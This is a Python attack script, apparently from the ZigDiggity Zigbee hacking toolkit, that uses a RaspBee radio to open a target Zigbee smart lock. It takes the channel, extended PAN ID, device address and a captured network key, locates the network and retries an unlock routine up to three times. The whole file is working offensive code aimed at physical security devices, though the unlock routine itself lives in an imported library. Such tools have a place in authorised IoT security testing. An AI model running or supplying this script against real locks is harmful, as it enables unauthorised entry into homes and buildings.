unlock.py

import os
import sys
sys.path.append(os.getcwd() + "/zigdiggity")

import time
import argparse
import struct
from scapy.layers.dot15d4 import *
from scapy.layers.zigbee import *

from zigdiggity.radios.raspbee_radio import RaspbeeRadio
from zigdiggity.radios.observer_radio import ObserverRadio
from zigdiggity.observers.wireshark_observer import WiresharkObserver
import zigdiggity.crypto.utils as crypto_utils
from zigdiggity.misc.actions import *
from zigdiggity.interface.components.logo import Logo

parser = argparse.ArgumentParser(description='Attempt to unlock the target lock')
parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use')
parser.add_argument('-e','--epan',action='store',type=lambda s: int(s.replace(':',''),16),dest='epan',required=True,help='The Extended PAN ID of the network to target')
parser.add_argument('-a','--address',action='store',type=lambda s: int(s.replace(':',''),16),dest='address',required=True,help='The address of the device to target')
parser.add_argument('-k','--key',action='store',type=lambda s: int(s.replace(':',''),16),dest='key',required=True,help='The network encryption key of the target network')
parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark')
args = parser.parse_args()

logo = Logo()
logo.print()

hardware_radio = RaspbeeRadio("/dev/ttyS0")
radio = ObserverRadio(hardware_radio)

if args.wireshark:
    wireshark = WiresharkObserver()
    radio.add_observer(wireshark)

TARGET_EPAN = args.epan
NWK_KEY = struct.pack(">QQ",args.key>>64,args.key%(2**64))
channel = args.channel
target_addr = args.address

start_time = time.time()

radio.set_channel(channel)

panid = get_pan_by_extended_pan(radio, TARGET_EPAN)
if panid is None:
    print_error("Could not find the PAN ID corresponding to the target network.")
    exit(1)

print_notify("Scanning channel %d" % channel)


for attempt in range(3):
    if not unlock_lock(radio, panid, target_addr, NWK_KEY):
        panid = get_pan_by_extended_pan(radio, TARGET_EPAN)
    else:
        break

time.sleep(2)

radio.off()
print_notify("Total elapsed time: %f seconds" % (time.time()-start_time))